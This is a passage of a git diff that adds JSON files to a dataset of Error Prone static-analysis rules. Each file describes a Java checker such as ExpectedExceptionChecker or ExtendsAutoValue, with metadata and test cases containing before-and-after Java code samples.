ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedBlockingQueue<>(capacity));\n }\n\n private void createThreadPoolWithBoundedLinkedBlockingDeque(int capacity) {\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedBlockingDeque<>(capacity));\n }\n\n private void createThreadPoolWithBoundedSynchronousQueue() {\n new ThreadPoolExecutor(\n CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new SynchronousQueue<>());\n }\n}\\" + }, + { + "description": "erroneousThreadPoolConstructor_literalConstantsForPoolSize_refactorUsingFirstFix", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(10, 20, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }\n \n\n import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(10, 10, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }" + }, + { + "description": "erroneousThreadPoolConstructor_corePoolSizeZero_refactorUsingFirstFix", + "expected-problems": null, + "expected-linenumbers": [ + 257 + ], + "code": "import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(0, 20, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }\n \n\n import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(0, 1, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }" + }, + { + "description": "erroneousThreadPoolConstructor_literalConstantsForPoolSize_refactorUsingSecondFix", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(10, 20, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }\n \n\n import java.util.concurrent.LinkedBlockingQueue;\n import java.util.concurrent.ThreadPoolExecutor;\n import java.util.concurrent.TimeUnit;\n\n class Test {\n public void createThreadPool() {\n new ThreadPoolExecutor(20, 20, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n }" + }, + { + "description": "erroneousThreadPoolConstructor_staticConstantsForPoolSize_refactorUsingFirstFix", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "import java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nclass Test {\n private static final int CORE_SIZE = 10;\n private static final int MAX_SIZE = 20;\n\n public void createThreadPool() {\n new ThreadPoolExecutor(CORE_SIZE, MAX_SIZE, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n}\n\n\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nclass Test {\n private static final int CORE_SIZE = 10;\n private static final int MAX_SIZE = 20;\n\n public void createThreadPool() {\n new ThreadPoolExecutor(CORE_SIZE, CORE_SIZE, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n}" + }, + { + "description": "erroneousThreadPoolConstructor_staticConstantsForPoolSize_refactorUsingSecondFix", + "expected-problems": null, + "expected-linenumbers": [ + 362 + ], + "code": "import java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nclass Test {\n private static final int CORE_SIZE = 10;\n private static final int MAX_SIZE = 20;\n\n public void createThreadPool() {\n new ThreadPoolExecutor(CORE_SIZE, MAX_SIZE, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n}\n\n\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nclass Test {\n private static final int CORE_SIZE = 10;\n private static final int MAX_SIZE = 20;\n\n public void createThreadPool() {\n new ThreadPoolExecutor(MAX_SIZE, MAX_SIZE, 60, TimeUnit.SECONDS, new LinkedBlockingQueue<>());\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpectedExceptionChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpectedExceptionChecker.json new file mode 100644 index 0000000..d90d788 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpectedExceptionChecker.json @@ -0,0 +1,262 @@ +{ + "name": "ExpectedExceptionChecker", + "language": "java", + "description": "Prefer assertThrows to ExpectedException", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 278, + "branches": 31, + "apis": 3, + "test": [ + { + "description": "expect", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n import org.junit.Rule;\n import org.hamcrest.CoreMatchers;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n if (true) {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n thrown.expect(CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n thrown.expectCause(CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n thrown.expectMessage(\"error\");\n thrown.expectMessage(CoreMatchers.containsString(\"error\"));\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n }\n }\n }\n \n\nimport static com.google.common.truth.Truth.assertThat;\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.junit.Assert.assertThrows;\n\nimport java.io.IOException;\nimport java.nio.file.*;\nimport org.hamcrest.CoreMatchers;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.rules.ExpectedException;\n\nclass ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n if (true) {\n Path p = Paths.get(\"NOSUCH\");\n IOException thrown = assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(thrown, CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n assertThat(thrown.getCause(), CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n assertThat(thrown).hasMessageThat().contains(\"error\");\n assertThat(thrown.getMessage(), CoreMatchers.containsString(\"error\"));\n assertThat(Files.exists(p)).isFalse();\n }\n }\n}" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "" + }, + { + "description": "noExceptionType", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.CoreMatchers;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.hamcrest.MatcherAssert.assertThat;\n import static org.junit.Assert.assertThrows;\n\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.CoreMatchers;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n Throwable thrown =\n assertThrows(\n Throwable.class,\n () -> {\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n });\n assertThat(thrown, CoreMatchers.is(CoreMatchers.instanceOf(IOException.class)));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "" + }, + { + "description": "noExpectations", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.CoreMatchers;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.CoreMatchers;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(Files.exists(p)).isFalse();\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "" + }, + { + "description": "nonExpressionStatement", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n Files.readAllBytes(p);\n if (true) Files.readAllBytes(p);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(\n IOException.class,\n () -> {\n Files.readAllBytes(p);\n if (true) Files.readAllBytes(p);\n });\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "" + }, + { + "description": "isA_hasCauseThat", + "expected-problems": null, + "expected-linenumbers": [ + 265 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n import org.junit.Rule;\n import org.hamcrest.CoreMatchers;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n thrown.expectCause(CoreMatchers.isA(IOException.class));\n thrown.expectCause(org.hamcrest.core.Is.isA(IOException.class));\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.CoreMatchers;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException thrown = assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(thrown).hasCauseThat().isInstanceOf(IOException.class);\n assertThat(thrown).hasCauseThat().isInstanceOf(IOException.class);\n assertThat(Files.exists(p)).isFalse();\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "" + }, + { + "description": "typedMatcher", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n import org.junit.Rule;\n import org.hamcrest.Matcher;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n Matcher matcher;\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(matcher);\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.hamcrest.MatcherAssert.assertThat;\n import static org.junit.Assert.assertThrows;\n\n import java.io.IOException;\n import java.nio.file.*;\n import org.hamcrest.Matcher;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n Matcher matcher;\n\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException thrown = assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(thrown, matcher);\n assertThat(Files.exists(p)).isFalse();\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 340 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "" + }, + { + "description": "nothingButAsserts", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n thrown.expect(RuntimeException.class);\n assertThat(false).isFalse();\n assertThat(true).isTrue();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void test() throws Exception {\n assertThat(false).isFalse();\n assertThat(true).isTrue();\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 393 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 412 + ], + "code": "" + }, + { + "description": "removeExplicitFail", + "expected-problems": null, + "expected-linenumbers": [ + 422 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n import org.junit.Rule;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void testThrow() throws Exception {\n thrown.expect(IOException.class);\n throw new IOException();\n }\n\n @Test\n public void one() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n fail();\n }\n\n @Test\n public void two() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n thrown.expect(IOException.class);\n Files.readAllBytes(p);\n assertThat(Files.exists(p)).isFalse();\n throw new AssertionError();\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import static org.junit.Assert.fail;\n\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void testThrow() throws Exception {}\n\n @Test\n public void one() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(Files.exists(p)).isFalse();\n }\n\n @Test\n public void two() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(Files.exists(p)).isFalse();\n }\n }" + }, + { + "description": "testThrow", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "" + }, + { + "description": "one", + "expected-problems": null, + "expected-linenumbers": [ + 445 + ], + "code": "" + }, + { + "description": "two", + "expected-problems": null, + "expected-linenumbers": [ + 454 + ], + "code": "" + }, + { + "description": "testThrow", + "expected-problems": null, + "expected-linenumbers": [ + 480 + ], + "code": "" + }, + { + "description": "one", + "expected-problems": null, + "expected-linenumbers": [ + 483 + ], + "code": "" + }, + { + "description": "two", + "expected-problems": null, + "expected-linenumbers": [ + 490 + ], + "code": "" + }, + { + "description": "i1072", + "expected-problems": null, + "expected-linenumbers": [ + 502 + ], + "code": "import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void testThrow(Class clazz) throws Exception {\n thrown.expect(clazz);\n clazz.toString();\n }\n }\n \n\n import static org.junit.Assert.assertThrows;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.ExpectedException;\n\n class ExceptionTest {\n @Rule ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void testThrow(Class clazz) throws Exception {\n assertThrows(Throwable.class, () -> clazz.toString());\n }\n }" + }, + { + "description": "testThrow", + "expected-problems": null, + "expected-linenumbers": [ + 515 + ], + "code": "" + }, + { + "description": "testThrow", + "expected-problems": null, + "expected-linenumbers": [ + 533 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpensiveLenientFormatString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpensiveLenientFormatString.json new file mode 100644 index 0000000..2496140 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpensiveLenientFormatString.json @@ -0,0 +1,46 @@ +{ + "name": "ExpensiveLenientFormatString", + "language": "java", + "description": "String.format is passed to a lenient formatting method, which can be unwrapped to improve efficiency.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.devtools.javatools.refactory.refaster.cleanups;\n\nimport static com.google.common.base.Preconditions.checkNotNull;\n\nclass PreconditionsExpensiveStringTest {\n void f() {\n checkNotNull(this, \"%s\", \"hello\");\n }\n\n void g() {\n checkNotNull(this, \"hello\");\n }\n\n void h() {\n checkNotNull(this, String.format(\"%d\", 42));\n }\n\n void i() {\n checkNotNull(this, \"%s\", \"hello\");\n }\n}\n\n\npackage com.google.devtools.javatools.refactory.refaster.cleanups;\n\nimport static com.google.common.base.Preconditions.checkNotNull;\n\nclass PreconditionsExpensiveStringTest {\n void f() {\n checkNotNull(this, \"%s\", \"hello\");\n }\n\n void g() {\n checkNotNull(this, \"hello\");\n }\n\n void h() {\n checkNotNull(this, String.format(\"%d\", 42));\n }\n\n void i() {\n checkNotNull(this, \"%s\", \"hello\");\n }\n}" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.base.Preconditions;\n\n/**\n * Test for methodIs call involving String.format() and %s\n *\n * @author sjnickerson@google.com (Simon Nickerson)\n */\npublic class PreconditionsExpensiveStringPositiveCase1 {\n public void error() {\n int foo = 42;\n int bar = 78;\n // BUG: Diagnostic contains: String.format\n Preconditions.checkState(true, String.format(\"The foo %s (%s) is not a good foo\", foo, bar));\n }\n}" + }, + { + "description": "negative1", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.base.Preconditions;\n\n/**\n * Preconditions calls which shouldn't be picked up for expensive string operations\n *\n * @author sjnickerson@google.com (Simon Nickerson)\n */\npublic class PreconditionsExpensiveStringNegativeCase1 {\n public void error() {\n int foo = 42;\n Preconditions.checkState(true, \"The foo %s foo is not a good foo\", foo);\n\n // This call should not be converted because of the %d, which does some locale specific\n // behaviour. If it were an %s, it would be fair game.\n Preconditions.checkState(true, String.format(\"The foo %d foo is not a good foo\", foo));\n\n // No format arguments\n Preconditions.checkState(true);\n }\n}" + }, + { + "description": "negative2", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.base.Preconditions;\n\n/**\n * Test for methodIs call including string concatenation. (Not yet supported, so this is a negative\n * case)\n *\n * @author sjnickerson@google.com (Simon Nickerson)\n */\npublic class PreconditionsExpensiveStringNegativeCase2 {\n public void error() {\n int foo = 42;\n Preconditions.checkState(true, \"The foo\" + foo + \" is not a good foo\");\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendingJUnitAssert.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendingJUnitAssert.json new file mode 100644 index 0000000..f36e82a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendingJUnitAssert.json @@ -0,0 +1,38 @@ +{ + "name": "ExtendingJUnitAssert", + "language": "java", + "description": "When only using JUnit Assert's static methods, you should import statically instead of extending.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import org.junit.Assert;\n\n class Foo extends Assert {\n public void test() {\n assertEquals(5, 5);\n }\n }\n \n\n import static org.junit.Assert.assertEquals;\n import org.junit.Assert;\n\n class Foo {\n public void test() {\n assertEquals(5, 5);\n }\n }" + }, + { + "description": "positiveWithGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import org.junit.Assert;\n\n class Foo extends Assert {\n public void test() {\n assertEquals(5, 5);\n assertNull(2);\n assertNotNull(3);\n }\n }\n \n\n import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertNotNull;\n import static org.junit.Assert.assertNull;\n import org.junit.Assert;\n\n class Foo {\n public void test() {\n assertEquals(5, 5);\n assertNull(2);\n assertNotNull(3);\n }\n }" + }, + { + "description": "positiveWithImplements", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import org.junit.Assert;\n\n abstract class Foo extends Assert implements ClassTreeMatcher {\n public void test() {\n assertEquals(5, 5);\n }\n }\n \n\n import static org.junit.Assert.assertEquals;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import org.junit.Assert;\n\n abstract class Foo implements ClassTreeMatcher {\n public void test() {\n assertEquals(5, 5);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendsAutoValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendsAutoValue.json new file mode 100644 index 0000000..e3fa982 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendsAutoValue.json @@ -0,0 +1,142 @@ +{ + "name": "ExtendsAutoValue", + "language": "java", + "description": "Do not extend an @AutoValue-like classes in non-generated code.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "extendsAutoValue_goodNoSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "" + }, + { + "description": "extendsAutoValue_goodSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "class SuperClass {}\n\n public class TestClass extends SuperClass {}" + }, + { + "description": "extendsAutoValue_goodAutoValueExtendsSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import com.google.auto.value.AutoValue;\n\n public class TestClass {}\n\n @AutoValue\n abstract class AutoClass extends TestClass {}" + }, + { + "description": "extendsAutoValue_goodGeneratedIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "import com.google.auto.value.AutoValue;\n import javax.annotation.processing.Generated;\n\n @AutoValue\n abstract class AutoClass {}\n\n @Generated(value = \"hi\")\n public class TestClass extends AutoClass {}" + }, + { + "description": "extendsAutoValue_bad", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class AutoClass {}\n\n // BUG: Diagnostic contains: Do not extend an @AutoValue class in non-generated code.\n public class TestClass extends AutoClass {}" + }, + { + "description": "extendsAutoValue_builder_bad", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import com.google.auto.value.AutoValue;\n\n@AutoValue\nabstract class AutoClass {\n @AutoValue.Builder\n abstract static class Builder {\n abstract AutoClass build();\n }\n}\n\n// BUG: Diagnostic contains: Do not extend an @AutoValue.Builder class in non-generated code.\npublic class TestBuilder extends AutoClass.Builder {\n AutoClass build() {\n throw new RuntimeException();\n }\n}" + }, + { + "description": "implementsAutoValue_builder_bad", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import com.google.auto.value.AutoValue;\n\n@AutoValue\nabstract class AutoClass {\n @AutoValue.Builder\n interface Builder {\n AutoClass build();\n }\n}\n\n// BUG: Diagnostic contains: Do not extend an @AutoValue.Builder class in non-generated code.\npublic class TestBuilder implements AutoClass.Builder {\n public AutoClass build() {\n throw new RuntimeException();\n }\n}" + }, + { + "description": "extendsAutoBuilder_bad", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import com.google.auto.value.AutoBuilder;\n\n class MyClass {\n @AutoBuilder\n abstract static class Builder {\n abstract MyClass build();\n }\n }\n\n // BUG: Diagnostic contains: Do not extend an @AutoBuilder class in non-generated code.\n public class TestBuilder extends MyClass.Builder {\n MyClass build() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "implementsAutoBuilder_bad", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "import com.google.auto.value.AutoBuilder;\n\n class MyClass {\n @AutoBuilder\n interface Builder {\n MyClass build();\n }\n }\n\n // BUG: Diagnostic contains: Do not extend an @AutoBuilder class in non-generated code.\n public class TestBuilder implements MyClass.Builder {\n public MyClass build() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "extendsAutoOneOf_bad", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "import com.google.auto.value.AutoOneOf;\n\n @AutoOneOf(AutoClass.Kind.class)\n class AutoClass {\n enum Kind {}\n }\n\n // BUG: Diagnostic contains: Do not extend an @AutoOneOf class in non-generated code.\n public class TestClass extends AutoClass {}" + }, + { + "description": "extendsAutoValue_badNoImport", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "@com.google.auto.value.AutoValue\n abstract class AutoClass {}\n\n // BUG: Diagnostic contains: Do not extend an @AutoValue class in non-generated code.\n public class TestClass extends AutoClass {}" + }, + { + "description": "extendsAutoValue_badInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "import com.google.auto.value.AutoValue;\n\n public class OuterClass {\n @AutoValue\n abstract static class AutoClass {}\n\n // BUG: Diagnostic contains: Do not extend an @AutoValue class in non-generated code.\n class TestClass extends AutoClass {}\n }" + }, + { + "description": "extendsAutoValue_badInnerStaticClass", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "import com.google.auto.value.AutoValue;\n\n class OuterClass {\n @AutoValue\n abstract static class AutoClass {}\n }\n\n // BUG: Diagnostic contains: Do not extend an @AutoValue class in non-generated code.\n public class TestClass extends OuterClass.AutoClass {}" + }, + { + "description": "extendsAutoValue_badButSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 281 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class AutoClass {}\n\n @SuppressWarnings(\"ExtendsAutoValue\")\n public class TestClass extends AutoClass {}" + }, + { + "description": "extendsAutoValue_innerClassExtends", + "expected-problems": null, + "expected-linenumbers": [ + 298 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class AutoClass {}\n\n public class TestClass {\n // BUG: Diagnostic contains: Do not extend an @AutoValue class in non-generated code.\n public class Extends extends AutoClass {}\n }" + }, + { + "description": "extendsAutoValue_innerClassExtends_generated", + "expected-problems": null, + "expected-linenumbers": [ + 317 + ], + "code": "import com.google.auto.value.AutoValue;\n import javax.annotation.processing.Generated;\n\n @AutoValue\n abstract class AutoClass {}\n\n @Generated(\"generator\")\n public class TestClass {\n public class Extends extends AutoClass {}\n }" + } + ] +} \ No newline at end of file diff --git 